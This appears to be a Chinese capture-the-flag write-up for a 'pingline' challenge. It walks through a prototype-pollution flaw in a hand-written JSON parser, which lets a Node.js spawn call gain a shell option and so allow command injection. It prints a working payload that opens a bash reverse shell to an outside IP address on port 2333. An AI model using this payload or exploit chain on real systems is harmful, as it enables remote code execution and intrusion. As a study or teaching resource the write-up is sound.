pingline
源码如下,自己加了点调试语句
"use server";
import { spawn } from "node:child_process";
/*
* Reinventing the wheel and make it square
* Because JSON.parse is not available in the server environment (really?)
*/
function jsonParse(
str: string,
ret?: Record<string, any>
): Record<string, any> {
ret ??= {};
if (!(str.startsWith("{") && str.endsWith("}"))) {
return ret;
}
const matches = str
.slice(1, str.length - 1)
.matchAll(
/(?:^|,)\s*"(?<key>\w+)"\s*:\s*(?<value>\d+|(?:true|false)|"(?:\\.|[^"])*"|\{.+?})/g
);
for (const match of matches) {
const { key, value } = match.groups!;
if (value.startsWith('"')) {
ret[key] = value
.slice(1, value.length - 1)
.replace(/\\(u([0-9a-fA-F]{4})|.)/g, (_, m: string, code: string) =>
m === "u"
? String.fromCharCode(parseInt(code, 16))
: ({ b: "\b", f: "\f", n: "\n", r: "\r", t: "\t" }[m] ?? m)
);
} else if (value.startsWith("{")) {
if (!(key in ret)) ret[key] = {};
jsonParse(value, ret[key]);
} else {
ret[key] = { true: true, false: false }[value] ?? +value;
}
}
return ret;
}
export async function pingAction(data: string, count: number = 4) {
// 打印接收到的 data
console.log("Received data:", data);
const body: { ip?: string } = jsonParse(data);
console.log(body.__proto__);
console.log("body:", body);
console.log("body.ip:", body.ip);
const proc = spawn("ping", [`-c${count}`, body.ip!, "-W1"], {
stdio: ["inherit", "pipe", "pipe"],
env: { ...process.env, LC_ALL: "C.UTF-8" },
});
console.log(proc);
let output = "";
proc.stdout.on("data", (data) => (output += data));
proc.stderr.on("data", (data) => (output += data));
await new Promise((resolve) => proc.on("close", resolve));
return output;
}
很明显jsonParse有个原型链污染
这里我们把一个ip传进来作为ping的参数
因为spawn只能传递参数,所以是不能命令拼接的。然后我们参考新版JS Prototype Pollution to RCE学习解析,显然考点就是这个了。
我们先看一下官方文档关于这个函数,可以看到有个shell参数可以是bool或string
询问chatgpt这里可以是不同的shell
指定之后我们就可以拼接命令了,而且成功执行了。为什么呢?
先看一下不自定义shell的情况下会怎样
定义了之后args变成了bash -c
我们改shell为python也可以,所以只要shell的值有-c就可以了。
["{\"__proto__\":{\"shell\":\"bash\"},\"ip\":\"www.baidu.com|/bin/bash -i >& /dev/tcp/124.221.19.214/2333 0>&1|ping www.baidu.com\"}"]
污染shell之后成功弹shell
但是这里为什么能污染成功,重点是const proc = spawn("ping", [
-c${count}, ip, "-W1"],{});
里的{},我们之前给{}的原型污染了一个shell属性,所以这个options里面就也有了这个属性,如果去掉{},就无法污染成功。